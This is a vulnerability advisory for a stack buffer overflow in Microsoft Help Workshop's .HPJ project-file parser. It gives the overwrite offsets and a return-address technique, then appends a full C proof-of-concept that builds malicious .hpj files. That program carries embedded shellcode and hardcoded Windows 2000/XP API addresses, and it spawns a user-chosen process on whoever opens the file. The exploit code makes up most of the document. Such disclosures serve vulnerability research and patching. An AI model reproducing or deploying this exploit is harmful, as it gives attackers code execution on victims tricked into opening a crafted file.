Help project files (.HPJ) buffer overflow vulnerability in Microsoft Help Workshop
Advisory:
/////////
Microsoft Help Workshop is prone to stack based memory corruption vulnerability
during processing (.HPJ) help project files, caused by the lack of input data
boundary check.
It could be exploited by malicious entity to execute arbitrary code within the
remote
user context.
Affected vendor:
////////////////
Microsoft
Product overview:
/////////////////
Microsoft Help Workshop 4.03.0002 is standard component of Microsoft Visual
Studio 6 / 2003 (.NET)
It could be also downloaded alone from the Microsoft download center.
Impact:
///////
Remote code execution
Attack vector:
/////////////
An attacker must construct malformed (.HPJ) file and induce victim to
open it with the tool, or if MS Help Workshop has been launched
in the past (after first launch it associates the .HPJ files with itself),
to launch the malicious file by doubleclicking/selecting to OPEN the help
project.
Technical Details:
//////////////////
The stack based buffer overflow occurs in Microsoft Help Workshop
while processing .hpj project files.
Example .hpj file:
[OPTIONS]
REPORT=Yes
HLP=HelpFilePathString01
The problem lies in lack of boundary check of file path variables
(in this case: HelpFilePathString01) in the 'HLP' field of 'OPTIONS' section.
When the string lenght exceeds 256 bytes, programs static buffer is overflowed
and its memory is corrupted.
The EIP register value is then overwritten by the DWORD value
placed 108h bytes counting from the beginning of 'HelpFilePathString01' string.
The ESP is set to DWORD value placed 534 bytes counting from the beggining of
the string.
The process control can be therefore
intercepted by the attacker by redirecting the instruction flow
to the attackers provided code within the malformed .hpj file.
However before the data from the input file is being copied to the
buffer it is parsed by the process and the specific
ascii ranges (41-5A,8A,8C-8F,A3,A5,AA,Af,BC,C0-D6,D8-DE if the string
ends with '\') are modified before being deployed in the stack memory.
Therefore successful exploitation using ESP-pointed data area
requires strongly limited instruction set or payload encoder.
However after buffer overflows ESI value is pointing to
the buffer in the HCW.EXE .data PE section which holds the 'untouched'
input string, probably temp buffer for the parser.
ESI points to the beginning of the 'HelpFilePathString01'.
That simplifies the shellcode issue, althought
it must be considered that the DWORD return address to overwrite EIP with the
JMP ESI code offset in process memory space has
still to follow the ascii-excluding rules of the parser, because the overflow
is being produced by the parser procedure itself.
Vulnerable software:
////////////////////
Microsoft Help Workshop v4.03.0002
Microsoft Visual Studio 6.0 SP6
Microsoft Visual Studio 2003 (.Net)
Credits:
////////
Vulnerability discovered and researched by: porkythepig
exploit by: porkythepig
email: porkythepig@xxxxxxxx
Exploit:
////////
Proof of Concept exploit has been included at the end of the report.
After compiled, it will create .hpj exploit files that
after successful exploitation should spawn user specified process
(by default notepad.exe), for the user specified host OS enviroment.
It can be also found at:
www.anspi.pl/~porkythepig/visualization/hpj-x01.cpp
//////////////////////////////////////////////
//*****************
//
// PoC exploit for (.HPJ) project files buffer overflow vulnerability in
// Microsoft Help Workshop v4.03.0002
// The tool is standard component of MS Visual Studio v6.0 and 2003 (.NET)
//
// vulnerability found / exploit built by porkythepig
//
//*****************
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "memory.h"
#define STR01 "Microsoft Help Workshop PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 671
#define PROC_NAM_SIZ 128
#define RET_OFFSET 0x14e
#define PROC_NAME_OFFSET 0x166
#define EXPRO_OFFSET 0xd9
#define GETSTAR_OFFSET 0x58
#define CREPRO_OFFSET 0xcf
#define GETWINDIR_OFFSET 0x73
typedef struct
{
unsigned int extPro;
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
}ApiPtrs;
ApiPtrs osApiPtrs[5]=
{
0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x793d1c8b,
0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x7ffd2d63,
0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0c65f1,
0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cb97b75,
0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775fe310
};
unsigned char shlCode[]=
{
0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81,
0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11,
0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0,
0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b,
0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f,
0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff,
0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32,
0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9,
0x5b,0x53,0xb2,0x01,0xb1,0x5c,0x88,0x08,
0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88,
0x08,0x43,0x40,0xeb,0xf4,0xb2,0x01,0x88,
0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48,
0x40,0x8b,0xd0,0x80,0x38,0x01,0x74,0x03,
0x40,0xeb,0xf8,0x32,0xc9,0x88,0x08,0x58,
0x50,0x66,0x2d,0x11,0x11,0x50,0x33,0xc9,
0x51,0x51,0x51,0x51,0x51,0x51,0x51,0x52,
0xb8,0x10,0x50,0x3f,0x79,0xff,0xd0,0x33,
0xc0,0x50,0xb8,0xda,0x69,0x3f,0x79,0xff,
0xd0
};
char buf0[EXPL_SIZE];
char spawnProcess[PROC_NAM_SIZ];
char *outName;
int osId;
int defProc;
void CompileBuffer()
{
int ptr=0;
memset(buf0,'1',EXPL_SIZE);
ptr+=sprintf(buf0,";%s\r\n\r\n[OPTIONS]\r\nHLP=",STR01);
memcpy(buf0+ptr,shlCode,sizeof(shlCode));
*((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro;
*((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
*((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
*((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
*((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr;
ptr=PROC_NAME_OFFSET;
if(!defProc)
{
buf0[ptr]=32;
ptr++;
}
sprintf(buf0+ptr,"%s\x01",spawnProcess);
buf0[EXPL_SIZE-2]='\\';
printf("Exploit buffer compiled\n");
}
void WriteBuffer()
{
FILE *o;
o=fopen(outName,"wb");
if(o==NULL)
{
printf("Cannot open file for writing\n");
exit(0);
}
fwrite(buf0,EXPL_SIZE,1,o);
fclose(o);
printf("Output .hpj file [ %s ] built successfully\n",outName);
}
void ProcessInput(int argc, char* argv[])
{
printf("\nMicrosoft Help Workshop 4.03.0002 .HPJ Project file
exploit\n");
printf("Vulnerability found & exploit built by porkythepig\n");
if(argc<3)
{
printf("Syntax: exploit.exe os outName [spawnProc]\n");
printf("[os] host OS, possible choices:\n");
printf(" 0 Windows 2000 SP4 [Polish]
updates-04012007\n");
printf(" 1 Windows 2000 SP4 [English]\n");
printf(" 2 Windows 2000 SP4 [English]
updates-04012007\n");
printf(" 3 Windows XP Pro SP2 [English]
updates-04012007\n");
printf(" 4 Windows XP Pro [English]\n");
printf("[outName] output .hpj exploit file name\n");
printf("[spawnProc] *optional* full path to the process to be
spawned by\n");
printf(" the exploit (if none specified default will
be notepad.exe)\n");
exit(0);
}
osId=atol(argv[1]);
if((osId<0)||(osId>4))
{
exit(0);
}
outName=argv[2];
if(argc>3)
{
if(strlen(argv[3])>=PROC_NAM_SIZ)
{
exit(0);
}
strcpy(spawnProcess,argv[3]);
defProc=0;
}
else
{
strcpy(spawnProcess,DEF_SPAWNED_PROCESS);
defProc=1;
}
}
int main(int argc, char* argv[])
{
ProcessInput(argc,argv);
CompileBuffer();
WriteBuffer();
return 0;
}